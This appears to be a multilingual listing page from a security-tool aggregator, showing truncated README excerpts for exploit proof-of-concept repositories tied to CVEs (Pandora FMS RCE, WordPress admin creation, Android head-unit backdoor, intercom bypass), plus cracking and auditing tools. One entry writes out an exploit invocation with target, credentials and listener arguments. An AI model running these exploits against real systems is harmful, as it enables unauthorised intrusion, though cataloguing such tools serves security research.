pandorafms_7.44

Pandora FMS 7.44 CVE-2020-13851 Pandora FMS 7.44 CVE-2020-13851 RCE 允许经过身份验证的用户通过事件功能实现远程命令执行。可以使用凭据或 PHP 会话 cookie 进行操作。 开始使用 执行程序 使用凭据 root@kitploit: python3 pandorafms7.44.py -t http://pwnedpandora.com/ -u username -p password -lhost 127.0.0.1 -lport 1337 使用 PHP 会话 cookie root@kitploit: python...

exploithosting

Este repositorio no tiene un README...

CVE-2021-34527-Scanner-Based-On-cube0x0-POC

这是一个用于存在风险的 Windows-Print-Spooler 服务的扫描器 基于 cube0x0 最初创建的 CVE-2021-34527 PoC...

CVE-2025-6934

CVE-2025-6934 – WordPress Opal Estate Pro 漏洞利用 📖 描述 此仓库包含 CVE-2025-6934 的 漏洞验证 PoC 利用代码 ， 该漏洞是 WordPress 插件：Opal Estate Pro = 1.7.5 中的一个严重漏洞，允许 无需身份验证即可创建管理员账户 。 ⚠️ 免责声明 ：此工具仅供 教育及安全研究目的 使用。 作者 不承担 因滥用或造成的任何损害的责任。 🚀 功能 自动从 readme.txt 检测插件版本 提取用于注册的 nonce 利用易受攻击的 AJAX 端点 创建新的 管理员 账户 🔧 安装 克隆仓库并安装依赖：...

USSH

USSH USSH 是一种基于 USTP-Secure 构建的 shell 协议及客户端/服务器端程序对。 它不是 TCP 隧道，也不会将 SSH 封装在 TCP 中。 状态：Beta 许可证：MIT AEAD 密码名称 chacha20 = CHACHA20POLY1305 aes-256-gcm = AES256GCM aes-128-gcm = AES128GCM 默认 AEAD 密码：chacha20 默认端口 5322 服务器端 root@kitploit: python3 usshserver.py \ --peer-ip \ --peer-port 0 \ --bind-i...

ublockdnsclient

uBlockDNS クライアント uBlockDNS クライアントは独立したプロジェクトであり、uBlock Origin またはそのメンテナーとは提携、承認、関連していません 。 uBlockDNS クライアントは、デバイス全体に DNS レベルの広告・トラッカーブロッキングをもたらします。EasyList や EasyPrivacy などのコミュニティ管理フィルタリストを使用し、DNS レイヤーで適用されるため、ブラウザごとの拡張機能なしでアプリ、ブラウザ、バックグラウンドサービスをカバーします。 ウェブサイト: ublockdns.com uBlockDNS...

One-Lin3r

One-Lin3r One-Lin3r はシンプルでモジュール式、軽量なフレームワークです。ペネトレーションテスト（Windows, Linux, macOS, BSD システム）や一般的なハッキングで必要となるすべてのワンライナーを提供し、新しい機能により完全に自動化されます（例: ワンライナーをコピーする必要すらありません）。 ブロック不可能なプロキシとスクレイピングインフラストラクチャ。AIモデルやワークフローを強化するリアルタイムで信頼性の高いWebデータを提供します。 バージョン2のスクリーンショット...

CVE-2021-21551

利用CVE-2021-21551通过创建系统命令行进行本地权限提升 已在Windows 11 21H2 22000.1335上测试。...

CVE-2022-22947-POC-Reproduce

CVE-2022-22947-POC CVE-2022-22947 再現...

platform_frameworks_base_CVE-2023-21288

此存储库没有 README。...

graylog-cve-2024-24824-exploit

在 JVM 上利用任意类加载 本仓库包含我在演讲中展示的概念验证漏洞利用： 在 JVM 上利用任意类加载 如果你感兴趣，可以在这里观看：Youtube 该漏洞利用针对 CVE-2024-24824 （幻灯片中有一处小拼写错误），这是一个影响 Graylog 2.0.0 至 5.2.3 版本的任意类加载漏洞。 这项研究没有将任意类加载视为最终目标，而是通过分析可用的 JVM 类路径，探讨如何滥用该原语来发现并构建越来越强大的漏洞利用技术。 Overview 如果能够使用攻击者控制的数据实例化任意类，那么挑战就变成了： 我们到底能用它做什么？ 答案完全取决于目标应用程序类路径中存在哪些类。...

CVE-2024-36842-Backdooring-Oncord-Android-Sterio-

CVE-2024-36842 后门植入Oncord+安卓车载音响 我们对市场上最畅销的汽车后装信息娱乐单元之一进行了漏洞评估。 利用恶意脚本在Oncord+安卓/苹果车载信息娱乐单元上创建持久后门！ 关于设备： 安卓版本：12 内核版本：4.9.170 型号：TS17/全志科技提供 序列号：0x03125dBa Oncord+的安卓车载音响单元基于先进技术，提供卓越的性能和维护系统。它是印度及其他国家市场上最常见的汽车后装安卓单元之一。 漏洞ID 漏洞 严重性 CVSS评分 NW-VUL-01 通过利用ADB端口获取信息娱乐单元的Root权限 高 - 8.4 HW-VUL-02...

kcmapper

KcMapper KcMapper 是一个将 Keycloak 配置数据导出到 Neo4j 图数据库的工具。这种表示方式允许分析 realm、客户端、用户、组和角色之间的关系。该工具包含一个 Web 界面，用于运行预定义的 Cypher 查询以进行分析和安全审计。 功能特性 完全导出 ：提取 realm、客户端、角色（包括复合角色）、组（含层级结构）、用户、客户端 scope、映射器和身份验证流程。 图建模 ：将 Keycloak 配置表示为 Neo4j 中的图。 交互式分析 ：提供本地 Web 界面，用于对导出的数据执行预定义的分析查询。 安全审计 ：包含有助于识别潜在薄弱安全配置的查...

rsfiles-CVE-2026-57827

CVE-2026-57827 — RSFiles! Subida de archivos sin autenticación → RCE Aviso legal: solo uso autorizado. Esto es una prueba de concepto para investigación de seguridad y pruebas defensivas. Eres responsable de usarlo solo en sistemas que te pertenezcan o para los que tengas permiso explícito por...

CVE-2017-16778-Intercom-DTMF-Injection

调用DTMF音调以获得Fermax电梯对讲系统的物理门禁权限（CVE-2017-16778） 特别鸣谢 首先，感谢@dizijoyjoy协助搭建演示环境，以便成功拍摄。 特别感谢Fermax对其产品安全漏洞报告的及时响应。他们沟通协调密切，并不断提供修复和补丁活动的更新。感谢愉快的合作！ 简要描述 发现一款Fermax对讲系统产品存在通过双音多频（DTMF）音调绕过授权的漏洞。此类绕过可能使攻击者在未经公寓业主批准或知情的情况下，非法进入住宅楼层。如果该对讲系统与电梯集成，所有受限楼层都可能被访问。Fermax此后已在受影响产品线上修复此问题。 详情...

john

John the Ripper This is the community-enhanced, "jumbo" version of John the Ripper. It has a lot of code, documentation, and data contributed by jumbo developers and the user community. It is easy for new code to be added to jumbo, and the quality requirements are low, although lately we've start...

john

John the Ripper 这是 John the Ripper 的社区增强版，即“jumbo”版本。它包含了大量由 jumbo 开发者和用户社区贡献的代码、文档和数据。向 jumbo 添加新代码很容易，质量要求也不高，不过最近我们开始对所有贡献进行相当多的自动化测试。这意味着你会获得大量不一定“成熟”的功能，也就是说，这段代码中可能存在 bug。 John the Ripper 的主页是： https://www.openwall.com/john/ 如果你对这个版本或 JtR 有任何评论，请加入 john-users 邮件列表并在其中发帖：...

OpenSSL-1_0_1g_CVE-2015-1791

OpenSSL 1.0.1g 2014年4月7日 Copyright c 1998-2011 The OpenSSL Project Copyright c 1995-1998 Eric A. Young, Tim J. Hudson All rights reserved. 説明 The OpenSSL Project は、堅牢で商用グレード、フル機能のオープンソースツールキットを開発する共同プロジェクトであり、Secure Sockets Layer SSL v2/v3 および Transport Layer Security TLS v1...

CVE-2007-4559

demostración de CVE-2007-4559 ¿qué es esto? Esta es una demostración de cómo el manejo predeterminado de Python para la extracción de archivos tar anterior a Python v3.11.4 es vulnerable a un simple ataque de symlink. Las instrucciones a continuación describen cómo crear un payload malicioso. El...

CVE-2001-0932

CVE-2001-0932 Cooolsoft PowerFTP Server 2.0 3/2.10 - 多个拒绝服务漏洞 1 Exploit-db 发布：https://www.exploit-db.com/exploits/21162/ CVE-2001-0932 Cooolsoft PowerFTP Server 2.0 3/2.10 - 多个拒绝服务漏洞 2 Exploit-db 发布：https://www.exploit-db.com/exploits/21163/ 作者 Alex Hernandez 又名 @alt3kx...